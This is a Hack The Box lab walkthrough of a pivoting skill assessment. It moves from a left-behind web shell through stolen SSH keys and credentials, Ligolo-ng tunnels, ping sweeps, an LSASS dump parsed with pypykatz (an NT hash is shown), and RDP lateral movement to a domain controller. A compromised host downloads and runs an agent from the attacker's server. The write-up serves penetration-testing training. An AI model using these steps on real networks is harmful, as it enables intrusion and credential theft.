> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/pivoting-tunneling-and-port-forwarding.md). # Pivoting, Tunneling & Port Forwarding ## Skill Assessment Walkthrough > **HTB Module:** Pivoting, Tunneling, and Port Forwarding **Difficulty:** Hard **Goal:** Pivot through multiple networks and capture all flags, ending at the Domain Controller **Pivoting Tool:** Ligolo-ng > > ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FOUcShpGFE0g34G5IlQOY%2Fimage.png?alt=media\&token=5ff87e1e-cafb-4efb-957a-725fd4327d5d) ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FrP08tWjmzLNOy3jJNyWC%2Fimage.png?alt=media\&token=54baaac6-5c18-461d-b690-8587d4d71a0f) *** ### πŸ“Œ Scenario A team member started a pentest against the **Inlanefreight** environment but got moved to another project. They left a **web shell** (`p0wny@shell`) for us to pick up where they left off. We need to pivot through internal networks, collect credentials, and reach the **Domain Controller**. ### 🎯 Targets & Network Map ``` EXTERNAL (attacker) β”‚ β–Ό Web Server (10.129.201.127) ── webadmin ── SSH + p0wny webshell β”‚ β”‚ ens192: 172.16.5.15 β–Ό PIVOT-SRV01 (172.16.5.35) ── mlefay ── Windows Server 2019 ── Flag #1 β”‚ β”‚ second NIC: 172.16.6.35 β–Ό PIVOTWIN10 (172.16.6.25) ── vfrank ── Windows 10 ── Flag #2 β”‚ β”‚ Mapped Z: drive β†’ DC β–Ό DC (AutomateDCAdmin Z:) ── Flag #3 (final) ``` ### πŸ—ΊοΈ Attack Chain ``` p0wny webshell β†’ id_rsa + creds (mlefay) β†’ SSH as webadmin β†’ Ligolo pivot #1 (172.16.5.0/24) β†’ RDP to PIVOT-SRV01 (mlefay) β†’ Flag #1 β†’ LSASS dump β†’ pypykatz β†’ vfrank creds β†’ Ligolo double pivot #2 (172.16.6.0/24) β†’ RDP to PIVOTWIN10 (vfrank) β†’ Flag #2 β†’ Z: drive (DC) β†’ Flag #3 🏴 ``` *** *** ## Step 1 β€” Web Shell Access Browse to the target IP or `support.inlanefreight.local`. We land on the **p0wny\@shell** web shell running as `www-data` in `/var/www/html`. > *** ## Step 2 β€” Finding SSH Key & Credentials Dig around from the webshell. Check `/home/webadmin/`: ```bash ls -la /home/webadmin/ cat /home/webadmin/id_rsa ``` We find: * `id_rsa` β€” webadmin's SSH private key * `for-admin-eyes-only` β€” contains credentials for the next hop > *** ## Step 3 β€” SSH In & Reading Credentials Save the `id_rsa` to our machine, set permissions, and SSH in: ```bash chmod 600 id_rsa ssh -i id_rsa webadmin@10.129.201.127 ``` Now read the credential file: ```bash cat for-admin-eyes-only ``` ``` # note to self, in order to reach server01 or other servers in the subnet from here you h us the user account:mlefay with a password of : P ``` New creds: `mlefay : P` Also check the internal network interface: ```bash ifconfig ens192 ``` Internal IP: `172.16.5.15` β€” we need to pivot into `172.16.5.0/24`. > > *** ## Step 4 β€” Ligolo-ng Pivot #1 (172.16.5.0/24) #### Upload Ligolo Agent to Webadmin Serve the agent from our machine: ```bash python3 -m http.server 8001 ``` On webadmin: ```bash wget http://:8001/agent chmod +x agent ``` #### Start Ligolo Server (Attacker) ```bash sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11666 ``` #### Connect Agent (Webadmin) ```bash ./agent -connect :11666 -ignore-cert ``` > > #### Configure Tunnel (Ligolo Shell) ``` interface_create --name internal1 route_add --name internal1 --route 172.16.5.0/24 session # select session 1 start --tun internal1 ``` > *** ## Step 5 β€” Host Discovery & SMB Validation Ping sweep to find live hosts in `172.16.5.0/24`: ```bash for i in {1..254}; do ping -c 1 -W 1 172.16.5.$i 2>/dev/null | grep "bytes from" done ``` Live hosts: `172.16.5.15` (webadmin) and `172.16.5.35` (new target!) Validate creds with netexec/crackmapexec: ```bash netexec smb 172.16.5.0/24 -u mlefay -p '' --local-auth ``` `172.16.5.35` (PIVOT-SRV01) β€” Windows 10 / Server 2019 Build 17763 β€” creds work! βœ… > *** ## Step 6 β€” RDP to PIVOT-SRV01 & Flag #1 ```bash xfreerdp /v:172.16.5.35 /u:mlefay /p:'' /cert:ignore ``` We land on PIVOT-SRV01. On the `C:\` drive we find `Flag` β€” a text document. **Flag #1 captured!** 🏴
> *** ## Step 7 β€” LSASS Dump & Credential Extraction On PIVOT-SRV01, dump LSASS: 1. Open **Task Manager** β†’ **Processes** tab 2. Find **Local Security Authority Process** (lsass.exe) 3. Right-click β†’ **Create dump file** The dump file is saved at: ``` C:\Users\mlefay\AppData\Local\Temp\lsass.DMP ``` Transfer `lsass.DMP` to attacker via shared drive or download: ```cmd iwr http://172.16.5.15:8001/agent.exe -Outfile agent.exe ``` > #### Parse with pypykatz (Attacker) ```bash pypykatz lsa minidump lsass.DMP ``` Found **vfrank** credentials: ``` Username: vfrank Domain: INLANEFREIGHT NT: 2e16a00be74fa0bf862b4256d0347e83 Kerberos Password: Im ```
> *** ## Step 8 β€” Ligolo Double Pivot #2 (172.16.6.0/24) PIVOT-SRV01 has a second NIC at `172.16.6.35`. We need to reach `172.16.6.0/24`. #### Transfer Agent to PIVOT-SRV01 On PIVOT-SRV01 (cmd): ```cmd .\agent.exe -connect 172.16.5.15:9776 -ignore-cert ``` #### Configure Double Pivot (Ligolo Shell) ``` interface_create --name internal2 route_add --name internal2 --route 172.16.6.0/24 listener_add --addr 0.0.0.0:9776 --to 127.0.0.1:11666 --tcp session # select session 2 (PIVOT-SRV01) start --tun internal2 ``` Both tunnels now active! πŸ”₯ > *** ## Step 9 β€” Host Discovery in 172.16.6.0/24 ```bash for i in {1..254}; do ping -c 1 -W 1 172.16.6.$i 2>/dev/null | grep "bytes from" done ``` Live hosts: `172.16.6.25` and `172.16.6.35` (PIVOT-SRV01's second NIC) New target: `172.16.6.25` 🎯 > *** ## Step 10 β€” RDP to PIVOTWIN10 & Flag #2 RDP in using vfrank's creds: ```bash xfreerdp /v:172.16.6.25 /u:vfrank /p:'' /cert:ignore ``` We land on **PIVOTWIN10** (172.16.6.25). On the `C:\` drive there's a `Flag` text file. **Flag #2 captured!** 🏴 > *** ## Step 11 β€” Mapped Z: Drive β†’ Domain Controller & Flag #3 On PIVOTWIN10, there's a **mapped Z: drive** labeled `AutomateDCAdmin`. Open it using vfrank's credentials when prompted. This maps directly to the **Domain Controller's C: drive**. Inside we see `Flag.txt`. Open it: ``` 3nd-xxxxxxxxxx ``` **Flag #3 (final) captured!** πŸ† > ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FZzvsIiljmWKqNH8gHw59%2Fimage.png?alt=media\&token=21ecf114-db07-49d9-9811-1ac705b02b99) *** ## πŸ† Pwned β€” All Flags Captured! Triple pivot from external to Domain Controller. Web shell β†’ SSH β†’ Ligolo tunnel β†’ RDP β†’ LSASS dump β†’ double pivot β†’ DC mapped drive. #### Flags Summary | # | Host | Location | Flag | | - | ----------------- | ---------------------- | ---------------------- | | 1 | PIVOT-SRV01 | `C:\Flag` | *(redacted)* | | 2 | PIVOTWIN10 | `C:\Flag` | *(redacted)* | | 3 | Domain Controller | `Z:\Flag.txt` (mapped) | `3nd-0xf-Th3-R@inbow!` | #### Tools Used | Tool | Purpose | | ------------ | ----------------------------------- | | p0wny\@shell | Initial web shell access | | `ssh` | SSH access with discovered id\_rsa | | `ligolo-ng` | SOCKS-less pivoting (proxy + agent) | | `netexec` | SMB credential validation | | `xfreerdp` | RDP access to Windows targets | | Task Manager | LSASS process dump | | `pypykatz` | Offline LSASS dump parsing | | `ping` | Host discovery via sweep | *** > **GG 🏴** β€” Web shell β†’ SSH β†’ Ligolo pivot β†’ RDP β†’ LSASS dump β†’ double pivot β†’ DC mapped drive β†’ All 3 flags. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/pivoting-tunneling-and-port-forwarding.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.